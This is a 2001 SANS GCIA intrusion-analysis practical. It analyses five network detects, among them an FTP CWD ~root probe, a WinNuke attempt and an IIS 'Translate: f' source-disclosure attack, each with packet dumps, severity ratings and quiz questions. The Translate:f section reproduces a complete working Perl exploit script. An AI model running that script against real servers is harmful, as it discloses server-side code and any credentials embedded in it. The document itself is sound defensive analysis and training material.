Global Information Assurance Certification Paper

SANS GIAC

GCIA Practical Assignment 1, 2 and 3

Version 2.8

SANS DARLING HARBOUR, FEB 2001

Murray Goldschmidt

Assignment 1: Network Detects

Trace 1: FTP root vulnerability

Snort Alert:

```
[**] FTP CWD ~root [**]
03/12-14:20:12.645055 x.x.202.66:1069 -> ftp.server:21
TCP TTL:128 TOS:0x0 ID:36355 IpLen:20 DgmLen:51 DF
***AP*** Seq: 0x285EE  Ack: 0x2C18F  Win: 0x21C4  TcpLen: 20
43 57 44 20 7E 72 6F 6F 74 0D 0A                 CWD ~root..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

[**] FTP CWD ~root [**]
03/12-14:20:12.644755 x.x.202.66:1069 -> ftp.server:21
TCP TTL:128 TOS:0x0 ID:36355 IpLen:20 DgmLen:51 DF
***AP*** Seq: 0x285EE  Ack: 0x2C18F  Win: 0x21C4  TcpLen: 20
43 57 44 20 7E 72 6F 6F 74 0D 0A                 CWD ~root..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
```

Snort Dump:

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/12-14:20:01.144814 ftp.server:21 -> x.x.202.66:1069
TCP TTL:128 TOS:0x0 ID:56241 IpLen:20 DgmLen:90 DF
***AP*** Seq: 0x2C11B  Ack: 0x285D6  Win: 0x2238  TcpLen: 20
32 32 30 20 53 65 72 76 2D 55 20 46 54 50 2D 53  220 Serv-U FTP-S
65 72 76 65 72 20 76 32 2E 35 6A 20 66 6F 72 20  erver v2.5j for
57 69 6E 53 6F 63 6B 20 72 65 61 64 79 2E 2E 2E  WinSock ready...
0D 0A                                            ..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/12-14:20:01.317363 x.x.202.66:1069 -> ftp.server:21
TCP TTL:128 TOS:0x0 ID:32003 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x285D6  Ack: 0x2C14D  Win: 0x2206  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/12-14:20:02.728162 x.x.202.66:1069 -> ftp.server:21
TCP TTL:128 TOS:0x0 ID:34051 IpLen:20 DgmLen:52 DF
***AP*** Seq: 0x285D6  Ack: 0x2C14D  Win: 0x2206  TcpLen: 20
55 53 45 52 20 6A 61 73 6F 6E 0D 0A              USER ftpuser..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/12-14:20:02.753361 ftp.server:21 -> x.x.202.66:1069
TCP TTL:128 TOS:0x0 ID:57009 IpLen:20 DgmLen:76 DF
***AP*** Seq: 0x2C14D  Ack: 0x285E2  Win: 0x222C  TcpLen: 20
33 33 31 20 55 73 65 72 20 6E 61 6D 65 20 6F 6B  331 User name ok
61 79 2C 20 6E 65 65 64 20 70 61 73 73 77 6F 72  ay, need passwor
64 2E 0D 0A                                      d...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/12-14:20:02.919857 x.x.202.66:1069 -> ftp.server:21
TCP TTL:128 TOS:0x0 ID:34307 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x285E2  Ack: 0x2C171  Win: 0x21E2  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/12-14:20:04.191794 x.x.202.66:1069 -> ftp.server:21
TCP TTL:128 TOS:0x0 ID:34819 IpLen:20 DgmLen:52 DF
```

```
***AP*** Seq: 0x285E2  Ack: 0x2C171  Win: 0x21E2  TcpLen: 20
50 41 53 53 20 6A 61 73 6F 6E 0D 0A                    PASS (sanitised)..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/12-14:20:04.216573 ftp.server:21 -> x.x.202.66:1069
TCP TTL:128 TOS:0x0 ID:59569 IpLen:20 DgmLen:70 DF
***AP*** Seq: 0x2C171  Ack: 0x285EE  Win: 0x2220  TcpLen: 20
32 33 30 20 55 73 65 72 20 6C 6F 67 67 65 64 20  230    User logged
69 6E 2C 20 70 72 6F 63 65 65 64 2E 0D 0A              in, proceed...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/12-14:20:04.322013 x.x.202.66:1069 -> ftp.server:21
TCP TTL:128 TOS:0x0 ID:35075 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x285EE  Ack: 0x2C18F  Win: 0x21C4  TcpLen: 20



03/12-14:20:12.645055 x.x.202.66:1069 -> ftp.server:21
TCP TTL:128 TOS:0x0 ID:36355 IpLen:20 DgmLen:51 DF
***AP*** Seq: 0x285EE  Ack: 0x2C18F  Win: 0x21C4  TcpLen: 20
43 57 44 20 7E 72 6F 6F 74 0D 0A           CWD ~root..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/12-14:20:12.652352 ftp.server:21 -> x.x.202.66:1069
TCP TTL:128 TOS:0x0 ID:3250 IpLen:20 DgmLen:83 DF
***AP*** Seq: 0x2C18F  Ack: 0x285F9  Win: 0x2215  TcpLen: 20
35 35 30 20 2F 63 3A 2F 7E 72 6F 6F 74 3A 20 4E  550    /c:/~root: N
6F 20 73 75 63 68 20 66 69 6C 65 20 6F 72 20 64         o such file or d
69 72 65 63 74 6F 72 79 2E 0D 0A                        irectory...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Note: Source IP address has been sanitised to protect client. Password for FTP has been sanitised.

1. Source of trace:

My company's Services DMZ. (Protected by Firewall)

2. Detect was generated by:

Snort Intrusion Detection System (and shown in dump format)

3. Probability the source address was spoofed:

The source was not spoofed, as the FTP server is used to hold information that some clients require. We give them a logon and they can download the data.

4. Description of attack:

Certain versions of a Unix FTP daemon can allow access to files on a machine through a sequence of commands culminating with CWD ~root. This vulnerability could allow the user to transfer files, which they would not normally have access to. [Ref 1]

Our FTP server was not vulnerable to this exploit, as it runs an FTP server on Windows NT platform.

The first command that the client tried when logging onto the server was "cd ~root". This activity is suspicious because the client did not even attempt to download the data that they required, rather first trying to see if they could

compromise the host. The logs show that after this exploit failed on the server (error displayed is "c:/~root no such file or directory") the client then downloaded the data that they were supposed to be getting.

After being alerted to this attack, we identified which client was responsible and followed it up with them. Although this attack was harmless, we will scrutinise connections from this client and see if any other untoward activity against us is being conducted.

5. Attack mechanism:

Attacker tries to gain access to certain files that they should not have access to by executing the command "cd ~root". In this case, the attack was not launched in full. Only the command "cd ~root" was entered, which triggered the IDS.

6. Correlations:

This used to be a common exploit against the Unix ftp server. However, this vulnerability has been patched a long time ago. Our FTP server was not vulnerable to this exploit.

7. Evidence of active targeting:

This FTP server was definitely targeted, as a valid account was logged into and the attack then tried.

8. Severity:

Item	Rating	Comment
Criticality	3	The FTP server is used for distributing business data, but is not mission critical.
Lethality	1	The FTP server is not vulnerable to this exploit.
System Countermeasures	5	This is the latest version of the FTP server.
Network Countermeasures	2	The host is on a firewalled segment, but anyone can connect to it. Only validated clients are given a login and password on the server, but once on the system, it could be exploited if running a vulnerable version.
Severity	-3	Severity = (Criticality + Lethality) – (System + Net Countermeasures)

9. Defensive recommendation:

Defences in place are adequate as the host is in a firewalled segment and the host is patched and running the latest version of the FTP software. If vulnerability is found in this software at some time, it will be able to be exploited because anyone can connect to the FTP server if they know of its existence. If the server is exploited at some time, it could be used as a launch pad against other hosts on the segment, but the firewall does not permit outbound access from this host or any other host in the segment and therefore the attack could be contained to a certain degree.

We will continue to monitor traffic from the offending client for other untoward activity.
We will ensure that our FTP software is always running the latest patch level.

10. Multiple choice test question:

Based on the trace below, what is the most accurate answer?

```
03/12-14:20:04.216573 ftp.server:21 -> x.x.202.66:1069
TCP TTL:128 TOS:0x0 ID:59569 IpLen:20 DgmLen:70 DF
***AP*** Seq: 0x2C171  Ack: 0x285EE  Win: 0x2220  TcpLen: 20
32 33 30 20 55 73 65 72 20 6C 6F 67 67 65 64 20  230 User logged
69 6E 2C 20 70 72 6F 63 65 65 64 2E 0D 0A        in, proceed...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/12-14:20:04.322013 x.x.202.66:1069 -> ftp.server:21
TCP TTL:128 TOS:0x0 ID:35075 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x285EE  Ack: 0x2C18F  Win: 0x21C4  TcpLen: 20
03/12-14:20:12.645055 x.x.202.66:1069 -> ftp.server:21
TCP TTL:128 TOS:0x0 ID:36355 IpLen:20 DgmLen:51 DF
***AP*** Seq: 0x285EE  Ack: 0x2C18F  Win: 0x21C4  TcpLen: 20
43 57 44 20 7E 72 6F 6F 74 0D 0A                 CWD ~root..
```

a) The person who logged in is trying to switch to the root user account
b) The person who logged in is trying to access files on the system that they should not have access to.
c) The person who logged in is trying to move to the directory called "root"
d) The FTP server is confirming that the user who logged in has system root privileges.

Answer: b.

Trace 2: Port Scan false source port.

Date	Time	Protocol	Source	Destination	Dst Port	Src Port
23Feb2001	12:00:17	tcp	x.x.132.55	my.firewall.external.2	1374	ftp-data
23Feb2001	12:00:17	tcp	x.x.132.55	my.firewall.external.2	960	ftp-data
23Feb2001	12:00:17	tcp	x.x.132.55	my.firewall.external.2	imap	ftp-data
23Feb2001	12:00:17	tcp	x.x.132.55	my.firewall.external.2	843	ftp-data
23Feb2001	12:00:17	tcp	x.x.132.55	my.firewall.external.2	614	ftp-data
23Feb2001	12:00:17	tcp	x.x.132.55	my.firewall.external.2	972	ftp-data
23Feb2001	12:00:17	tcp	x.x.132.55	my.firewall.external.2	116	ftp-data
23Feb2001	12:00:17	tcp	x.x.132.55	my.firewall.external.2	667	ftp-data
23Feb2001	12:00:17	tcp	x.x.132.55	my.firewall.external.2	648	ftp-data

1. Source of Trace:

My company's network

2. Detect was generated by:
FireWall-1 log

3. Probability the source address was spoofed:
It is unlikely that these packets were spoofed, because the attacker is doing reconnaissance work and needs to get the replies to see which services are active.

4. Description of attack:
Port scan directly against the firewall host with the source port on each packet being "ftp-data".

5. Attack mechanism
An attacker runs a port scan to determine which services are running on a host by probing the host on a range of services and waiting for a response. Once information is gathered about the host, an attack can be launched if a vulnerable service is found on the host.
The destination IP address is the firewall itself in this case. A well configured firewall should not have erroneous services running, so it is likely that the attacker is not aware that this is a firewall and is likely to scan for other hosts in the network range.
In this particular port scan, the source port has been set at "ftp-data" and then various destination ports have been scanned. The source port has been fixed on this service possibly for the following reasons:

- Packet filtering routers may not be set to filter on "ftp-data" as these connections should be part of an established session. In a "clean" connection, the source port from a client is an ephemeral port (above 1024) and destination port is a well known port (eg FTP is TCP port 21). Since the packets have been crafted with a source port of "ftp-data" the attacker is trying to fool perimeter devices into thinking that these packets originated from the network and therefore should be let back in.
- If a firewall policy has been poorly written, it may be configured to allow "ftp-data" connections into the network. This is a common

mistake with people who are given the task of writing firewall policies but do not understand the concept of stateful connections. When an FTP session is established, a stateful firewall will write the connection to a state table and expect the associated data connection and allow it through even though an explicit rule has not been configured for this. Ftp-data connections will not be allowed through if the packet initiating the session has not been entered in the state table. However, if an explicit rule has been configured to allow ftp-data connections, then port scans such as the one described above may get through a firewall when they really should not.

- At a first glance an inexperienced analyst may disregard this activity as being suspicious and pass it off as dropped back connections. These port scans would therefore go unnoticed.

6. Correlations:

Port scans are tremendously popular, and even more advanced scans that fix source ports have been made popular by powerful tools. A tool such as Nmap can be used to craft packets with a fixed source port by using the -g Switch .

7. Evidence of active targeting:

This firewall was the target of the attack as the destination IP address is the IP of the firewall itself rather than that of an address behind the firewall which perhaps has not yet been used. It is unlikely though that the firewall was the only target of this port scan as tools can be set to scan an entire network range.

8. Severity:

Item	Rating	Comment
Criticality	5	Firewall protects the network from the Internet.
Lethality	1	This is a port scan and therefore just probing for active services. On its own, this is not an attack.
System Countermeasures	5	The firewall is running on a hardened and patched platform.
Network Countermeasures	5	The external interface of the firewall is exposed to the Internet and is only protected by the policy which it enforces and the strength of the platform it runs on. Since the policy has been well configured, this host is deemed to be safe unless it is targeted for a DOS attack.
Severity	-4	Severity = (Criticality + Lethality) – (System + Net Countermeasures)

9. Defensive recommendation:

Port scans are common occurrences. The firewall has been built on a secure platform and is patched when required and therefore the defences are adequate. The policy is (and should be) reviewed regularly to ensure that only the services that are required through the firewall are allowed. This action will ensure that port scans only reveal the services that should be active on publicly accessible hosts.

10. Multiple choice test question:

The trace shown above indicates:

a) Someone trying to find active services on the firewall
b) Dropped back connections from an FTP session
c) Someone trying to map hosts behind the firewall
d) A technique to enumerate passwords from a Domain Controller.

Answer: a

Trace 3: Windows Out of Band (OOB) or Winnuke

```
20:28:49.759922 internal.host.1440 > NT.HOST.139: S 167402:167402(0) win 8192 <mss 1460> (DF)
20:28:49.760072 NT.HOST.139 > internal.host.1440: S 178576:178576(0) ack 167403 win 8760 <mss 1460> (DF)
20:28:49.760294 internal.host.1440 > NT.HOST.139: . ack 1 win 8760 (DF)
20:28:49.760869 internal.host.1440 > NT.HOST.139: P 1:256(255) ack 1 win 8760 urg 255
>>> NBT Packet
NBT Session Packet
Flags=0x2A
Length=16640 (0x4100)
Session packet:(raw data?)

 (DF)
20:28:49.761008 NT.HOST.139 > internal.host.1440: FP 1:6(5) ack 256 win 8506
>>> NBT Packet
NBT SessionReject
Flags=0x83000001
Reason=0x8F
Unspecified error 0x8F
```

1. Source of Trace:

My company's LAN segment for internal projects servers.

2. Detect was generated by:

Windump dump.

3. Probability the source address was spoofed:

These packets are not spoofed as there is a three way handshake indicating network communication.

4. Description of attack:

This is an attempt at a Windows Out Of Band attack (also called Winnuke). If the attack is successful, the host will lock up or display a Blue Screen, requiring the host to be rebooted.

5. Attack mechanism:

The attacker makes a connection to the host on port 139 (NetBIOS session). After communication has been established traffic is sent with the Urgent Bit set. If the host is vulnerable to this exploit it will lock up or experience a Blue Screen of Death.

6. Correlations:

This attack used to be quite common as it targeted Windows 95 and Windows NT 4 hosts (Pre SP4). A hot-fix was released for Win95 and SP3 could be patched to remove the vulnerability on NT4. Since these software releases are quite old, the number of hosts that are still vulnerable to this exploit is probably very small, especially on a corporate network. This was the only attack of its type detected for a very long time on our network.

7. Evidence of active targeting:

This host was definitely targeted. The host resides on a dedicated segment of our network for sharing project related material. We had a test IDS system running on it just to check whats going on, and were quite surprised to find this attempt at DOS attack from someone in our internal network. Although this host in not vulnerable to this exploit as it has been patched with a later SP, there are some services installed on it which have not been securely configured. It appears as though this attack was initiated by

someone who is not up to date with the latest exploits, otherwise they would not be trying such an old exploit. However, in light of this alert, we will continue to monitor the segment and have already secured some of the vulnerable services on the box.

8. Severity:

Item	Rating	Comment
Criticality	3	This is an internal projects server used to increase efficiency on turn around of project deployment.
Lethality	1	This DOS attack is very old. There are no hosts in this segment they are vulnerable.
System Countermeasures	3	Although the host has been patched and is not vulnerable to this exploit, it was vulnerable to numerous others.
Network Countermeasures	2	This host resides on a dedicated segment, of the network, however, no there is no filtering on the router. The IDS system in place was only a test system.
Severity	-1	Severity = (Criticality + Lethality) – (System + Net Countermeasures)

Defensive recommendation:
In light of this alert we have:

- Decided to monitor the segment more closely and will consider placing a permanent IDS sensor if warranted.
- Secured some of the other services on the hosts that are likely to be targeted
- place some restrictions on the router
- Decided to place some restrictions on the router

9. Multiple choice test question:
What does the trace above most accurately represent?

a) NetBIOS null session rejected because of authentication failure.
b) Host to Primary Domain Controller authentication.
c) Attempted Out of Band Denial of Service attack
d) Attempted Outlook Express RDS exploit.

Answer: c

Trace 4: Translate:f

Snort IDS alert.

```
[**] WEB-IIS view source via translate header [**]
02/14-20:16:10.891760 210.95.23.193:1050 -> our.web.server:80
TCP TTL:128 TOS:0x0 ID:8193 IpLen:20 DgmLen:189 DF
***AP*** Seq: 0x28DE3  Ack: 0x33D7B9BC  Win: 0x2238  TcpLen: 20
47 45 54 20 2F 73 65 63 75 72 65 6E 65 74 2F 68     GET /securenet/h
6F 6D 65 2E 61 73 70 25 35 43 20 48 54 54 50 2F     ome.asp%5C HTTP/
31 2E 30 0D 0A 48 6F 73 74 3A 20 31 34 38 2E 31     1.0..Host: our.1
38 32 2E 74 35 2E 31 31 0D FF 55 73 65 72 2D 41     .web.server..User-A
3A 65 6E 74 3A 77 6C 69 62 77 77 77 2D 70 65 72     gent: libwww-per
6C 2F 35 2E 34 38 0D 0A 43 6F 6E 74 0A 6F 6E 74     Length: 18..Cont
65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 68     ent-Type: text/h
74 6D 6C 0D 0A 54 72 61 6E 73 6C 61 74 65 3A 20     tml..Translate:
66 0D 0A 0D 0A                                       f....
```

Snort Dump

```
 02/14-20:16:10.888357 210.95.23.193:1050 -> our.web.server:80
TCP TTL:128 TOS:0x0 ID:7681 IpLen:20 DgmLen:44 DF
******S* Seq: 0x28DE2  Ack: 0x0  Win: 0x2000  TcpLen: 24
TCP Options (1) => MSS: 1460
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/14-20:16:10.889273 our.web.server:80 -> 210.95.23.193:1050
TCP TTL:128 TOS:0x0 ID:24336 IpLen:20 DgmLen:44 DF
***A**S* Seq: 0x33D7B9BB  Ack: 0x28DE3  Win: 0x4470  TcpLen: 24
TCP Options (1) => MSS: 1460
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/14-20:16:10.889493 210.95.23.193:1050 -> our.web.server:80
TCP TTL:128 TOS:0x0 ID:7937 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x28DE3  Ack: 0x33D7B9BC  Win: 0x2238  TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/14-20:16:10.891760 210.95.23.193:1050 -> our.web.server:80
TCP TTL:128 TOS:0x0 ID:8193 IpLen:20 DgmLen:189 DF
***AP*** Seq: 0x28DE3  Ack: 0x33D7B9BC  Win: 0x2238  TcpLen: 20
47 45 54 20 2F 73 65 63 75 72 65 6E 65 74 2F 68     GET /securenet/h
6F 6D 65 2E 61 73 70 25 35 43 20 48 54 54 50 2F     ome.asp%5C HTTP/
31 2E 30 0D 0A 48 6F 73 74 3A 20 31 34 38 2E 31     1.0..Host: our.web.server
38 32 2E 33 35 2E 31 31 0D 0A 55 73 65 72 2D 41     .User-A
67 65 6E 74 3A 20 6C 69 62 77 77 77 2D 70 65 72     gent: libwww-per
6C 2F 35 2E 34 38 0D 0A 43 6F 6E 74 65 6E 74 2D     l/5.48..Content-
4C 65 6E 67 74 68 3A 20 31 38 0D 0A 43 6F 6E 74     Length: 18..Cont
65 6E 74 2D 54 79 70 65 3A 20 74 65 78 74 2F 68     ent-Type: text/h
74 6D 6C 0D 0A 54 72 61 6E 73 6C 61 74 65 3A 20     tml..Translate:
66 0D 0A 0D 0A                      f....
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/14-20:16:11.095355 our.web.server:80 -> 210.95.23.193:1050
TCP TTL:128 TOS:0x0 ID:24337 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x33D7B9BC  Ack: 0x28E78  Win: 0x43DB  TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/14-20:16:11.095618 210.95.23.193:1050 -> our.web.server:80
TCP TTL:128 TOS:0x0 ID:8705 IpLen:20 DgmLen:58 DF
***AP*** Seq: 0x28E78  Ack: 0x33D7B9BC  Win: 0x2238  TcpLen: 20
6D 61 74 63 68 3D 77 77 77 26 65 72 72 6F 72 73  match=www&errors
3D 30                           =0
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
02/14-20:16:11.098450 our.web.server:80 -> 210.95.23.193:1050
TCP TTL:128 TOS:0x0 ID:24338 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x33D7B9BC  Ack: 0x28E8A  Win: 0x43C9  TcpLen: 20
48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D  HTTP/1.1 200 OK.
0A 53 65 72 76 65 72 3A 20 4D 69 63 72 6F 73 6F     .Server: Microso
66 74 2D 49 49 53 2F 35 2E 30 0D 0A 44 61 74 65     ft-IIS/5.0..Date
3A 20 54 75 65 2C 20 30 33 20 41 70 72 20 32 30     : Tue, 14 Feb 20
30 31 20 31 30 3A 30 34 3A 33 33 20 47 4D 54 0D     01 20:16:11 GMT.
0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61     .Content-Type: a
70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74     pplication/octet
2D 73 74 72 65 61 6D 0D 0A 43 6F 6E 74 65 6E 74     -stream..Content
2D 4C 65 6E 67 74 68 3A 20 34 32 34 30 0D 0A 45     -Length: 4240..E
54 61 67 3A 20 22 34 38 37 38 38 33 66 35 64 65     Tag: "487883f5de
```

```
61 63 63 30 31 3A 31 33 37 61 22 0D 0A 4C 61 73   acc01:137a"..Las
74 2D 4D 6F 64 69 66 69 65 64 3A 20 57 65 64 2C   t-Modified: Wed,
20 31 34 20 4D 61 72 20 32 30 30 31 20 32 33 3A   14 Jan 2001 23:
33 31 3A 35 36 20 47 4D 54 0D 0A 41 63 63 65 70   31:56 GMT..Accep
74 2D 52 61 6E 67 65 73 3A 20 62 79 74 65 73 0D   t-Ranges: bytes.
0A 43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 3A 20   .Cache-Control:
6E 6F 2D 63 61 63 68 65 0D 0A 0D 0A 3C 68 74 6D   no-cache....<htm
6C 3E 0D 0A 3C 68 65 61 64 3E 0D 0A 3C 6D 65 74   l>..<head>..<met
61 20 68 74 74 70 2D 65 71 75 69 76 3D 22 43 6F   a http-equiv="Co
6E 74 65 6E 74 2D 4C 61 6E 67 75 61 67 65 22 20   ntent-Language"
63 6F 6E 74 65 6E 74 3D 22 65 6E 2D 61 75 22 3E   content="en-au">
0D 0A 3C 6D 65 74 61 20 68 74 74 70 2D 65 71 75   ..<meta http-equ
69 76 3D 22 43 6F 6E 74 65 6E 74 2D 54 79 70 65   iv="Content-Type
22 20 63 6F 6E 74 65 6E 74 3D 22 74 65 78 74 2F   " content="text/
68 74 6D 6C 3B 20 63 68 61 72 73 65 74 3D 77 69   html; charset=wi

*&*&*&*&*&*&*&*&*&*&*&NOTE*&*&*&*&*&*&*&*&*&*
TRACE PRUNED HERE AFTER INDICATING THAT SOURCE CODE
HAS BEEN DOWNLOADED
&*&*&*&*&*&*&*&*&*&*&*&*&*&*&*&*&*&*&*&*&*&*&*&*&
```

1. **Source of trace:**
My company's network.

2. **Detect was generated by:**
Snort IDS and Snort Dump

3. **Probability the source address was spoofed:**
These packets were not spoofed as the attacker is downloading content from the web site and a valid IP address is required for the communication.

4. **Description of attack:**
An attacker used a perl script to exploit vulnerability in IIS 5 and download the content of an ASP page. The page that was downloaded did not contain any sensitive information.

5. **Attack mechanism:**
The attacker runs a perl script which exploits a vulnerability in IIS5 called "translate-f".
The WebDAV component of Windows 2000 is responsible for this vulnerability.
WebDAV is Distributed Authoring and Versioning. It runs over HTTP by using extensions to the HTTP headers.

"When someone makes request for ASP/ASA (or any other scriptable page) and adds "Translate: f" into headers of HTTP GET request (headers are _not_ part of URL, they are part of HTTP request), there is a serious security bug in Windows 2000 (unpatched by SP1) that in return gives complete ASP/ASA code instead of processed file (one has to add trailing backslash "\" to end of requested url to have this really working)." [ref 2]

In this case a Perl script was used as can be seen in the Snort IDS alert.

6. **Correlations:**
This was the first time that we had seen the attack on our network, but had read about it already last year. We had thought that all of our web servers

were patched, but as it happens, a new host was placed on our DMZ (protected by firewall), but was not patched as part of its build. This was an oversight. After being alerted to this attack by our IDS, we quickly researched the exploit again. The Perl script shown below was downloaded from SecurityFocis.com [ref 3]. We took the host off line ad tested the script against it, and got the same result as shown in the dumps above. The host was immediately patched and put back into service.

```
#!/usr/bin/perl
use Socket;

###test arguments
if ($#ARGV != 2) {die "usage: DNS_name/IP file_to_get port\n";}
#####load values
$host = @ARGV[0];$port = @ARGV[2];$target = inet_aton($host);$toget= @ARGV[1];
#####build request
$xtosend=<<EOT
GET /$toget\\ HTTP/1.0
Host: $host
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
Translate: f

EOT
;
$xtosend=~s/\n/\r\n/g;
####send request
#print $xtosend;
my @results=sendraw($xtosend);
print  @results;
#### Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {   # this saves the whole transaction anyway
      my ($pstr)=@_;
      socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
            die("Socket problems\n");
      if(connect(S,pack "SnA4x8",2,$port,$target)){
            my @in;
            select(S);      $|=1;   print $pstr;
            while(<S>){ push @in, $_;
                  print STDOUT "." if(defined $args{X});}
            select(STDOUT); close(S); return @in;
      } else { die("Can't connect...\n"); }
}
```

7. **Evidence of active targeting:**

The logs showed that the attacker scanned our network for webservers and then targeted them one by one. As all other servers had been patched as part of their build process, they were not vulnerable. This host in question was not patched and fell victim to the attacker, although there was no content sensitive information on the site.

8. **Severity:**

Item	Rating	Comment
Criticality	4	This is a corporate web server and is quite important, although it was not in full service at the time of exploit.
Lethality	3	This attack did work, however no valuable information was gained. If content sensitive information was embedded in the ASP file (such as usernames and password for a database)

		the attack could have been more severe.
System Countermeasures	2	This is a server on the relatively new Windows 2000 platform, but was not patched with Service Pack 1 which has been available for a long time.
Network Countermeasures	2	The host is located in a DMZ protected by the firewall, but it is a web server and the attack is done through port 80.
Severity	3	Severity = (Criticality + Lethality) – (System + Net Countermeasures)

9. **Defensive recommendation:**

The fact that the host was not properly patched was an oversight in the build process and the Quality Control Checking was not performed. These processes have been reviewed and revised to ensure that this does not happen again. We have educated the developers about the risks of embedding sensitive information in ASP pages, and illustrated what can happen with such exploits.

10. **Multiple choice test question:**

The Snort IDS above shows:

a) A vulnerability in an Apache web server which allows content to be viewed through the use of an HTTP extension.
b) A vulnerability in an IIS Web Server which allows content to be viewed through the use of an HTTP extension.
c) The use of a Perl script to brute force a password on a web server login over the Internet
d) The use of a Perl script to upload a new home page and deface a web site.

Answer: b

Trace 5: Spoofed IP address port scan.

Date	Time	Protocol	Source	Destination	Dst:Port	src:Port
3Apr2001	12:17:15	tcp	203.54.35.34	our.mail.relay	4672	52233
3Apr2001	12:17:15	tcp	211.18.219.11	our.mail.relay	4672	52233
3Apr2001	12:17:15	tcp	217.66.231.220	our.mail.relay	4672	52233
3Apr2001	12:17:15	tcp	24.113.21.215	our.mail.relay	4672	52233
3Apr2001	12:17:15	tcp	203.54.35.34	our.mail.relay	1350	52233
3Apr2001	12:17:15	tcp	217.66.231.220	our.mail.relay	1350	52233
3Apr2001	12:17:15	tcp	211.18.219.11	our.mail.relay	1350	52233
3Apr2001	12:17:15	tcp	24.113.21.215	our.mail.relay	1350	52233
3Apr2001	12:17:15	tcp	203.54.35.34	our.mail.relay	1481	52233
3Apr2001	12:17:15	tcp	211.18.219.11	our.mail.relay	1481	52233
3Apr2001	12:17:15	tcp	217.66.231.220	our.mail.relay	1481	52233
3Apr2001	12:17:15	tcp	24.113.21.215	our.mail.relay	1481	52233
3Apr2001	12:17:15	tcp	203.54.35.34	our.mail.relay	419	52233
3Apr2001	12:17:15	tcp	211.18.219.11	our.mail.relay	419	52233
3Apr2001	12:17:15	tcp	217.66.231.220	our.mail.relay	419	52233
3Apr2001	12:17:15	tcp	24.113.21.215	our.mail.relay	419	52233
3Apr2001	12:17:15	tcp	203.54.35.34	our.mail.relay	7008	52233
3Apr2001	12:17:15	tcp	217.66.231.220	our.mail.relay	7008	52233
3Apr2001	12:17:15	tcp	211.18.219.11	our.mail.relay	7008	52233
3Apr2001	12:17:15	tcp	24.113.21.215	our.mail.relay	7008	52233
3Apr2001	12:17:15	tcp	203.54.35.34	our.mail.relay	2041	52233
3Apr2001	12:17:15	tcp	211.18.219.11	our.mail.relay	2041	52233
3Apr2001	12:17:15	tcp	217.66.231.220	our.mail.relay	2041	52233
3Apr2001	12:17:15	tcp	24.113.21.215	our.mail.relay	2041	52233
3Apr2001	12:17:15	tcp	203.54.35.34	our.mail.relay	5050	52233
3Apr2001	12:17:15	tcp	211.18.219.11	our.mail.relay	5050	52233
3Apr2001	12:17:15	tcp	217.66.231.220	our.mail.relay	5050	52233
